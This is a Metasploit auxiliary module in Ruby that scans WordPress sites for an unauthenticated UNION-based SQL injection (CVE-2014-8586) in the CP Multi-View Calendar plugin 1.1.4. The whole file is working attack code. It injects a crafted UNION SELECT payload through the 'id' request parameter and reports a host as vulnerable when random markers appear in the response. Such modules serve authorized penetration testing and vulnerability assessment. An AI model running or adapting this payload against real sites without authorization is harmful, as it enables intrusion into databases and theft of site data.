WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress CP Multi-View Calendar Unauthenticated SQL Injection Scanner',  
'Description' => %q{  
This module will scan given instances for an unauthenticated SQL injection  
within the CP Multi-View Calendar plugin v1.1.4 for Wordpress.  
},  
'Author' =>  
[  
'Joaquin Ramirez Martinez', #discovery  
'bperry' #metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE' , '2014-8586' ],  
[ 'EDB', '36243' ],  
[ 'WPVDB', '7910' ]  
],  
'DisclosureDate' => '2015-03-03'))  
  
register_options([  
OptString.new('TARGETURI', [true, 'Target URI of the Wordpress instance', '/'])  
])  
end  
  
def run_host(ip)  
right_marker = Rex::Text.rand_text_alpha(5)  
left_marker = Rex::Text.rand_text_alpha(5)  
flag = Rex::Text.rand_text_alpha(5)  
  
vprint_status("Checking host")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/'),  
'vars_get' => {  
'action' => 'data_management',  
'cpmvc_do_action' => 'mvparse',  
'f' => 'edit',  
'id' => "1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x#{left_marker.unpack("H*")[0]},0x#{flag.unpack("H*")[0]},0x#{right_marker.unpack("H*")[0]}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--"  
}  
})  
  
unless res && res.body  
vprint_error("Server did not respond in an expected way")  
return  
end  
  
result = res.body =~ /#{left_marker}#{flag}#{right_marker}/  
  
if result  
print_good("Vulnerable to unauthenticated SQL injection within CP Multi-View Calendar 1.1.4 for Wordpress")  
report_vuln({  
:host => rhost,  
:port => rport,  
:proto => 'tcp',  
:name => "Unauthenticated UNION-based SQL injection in CP Multi-View Calendar 1.1.4 for Wordpress",  
:refs => self.references.select { |ref| ref.ctx_val == "36243" }  
})  
end  
end  
end  
`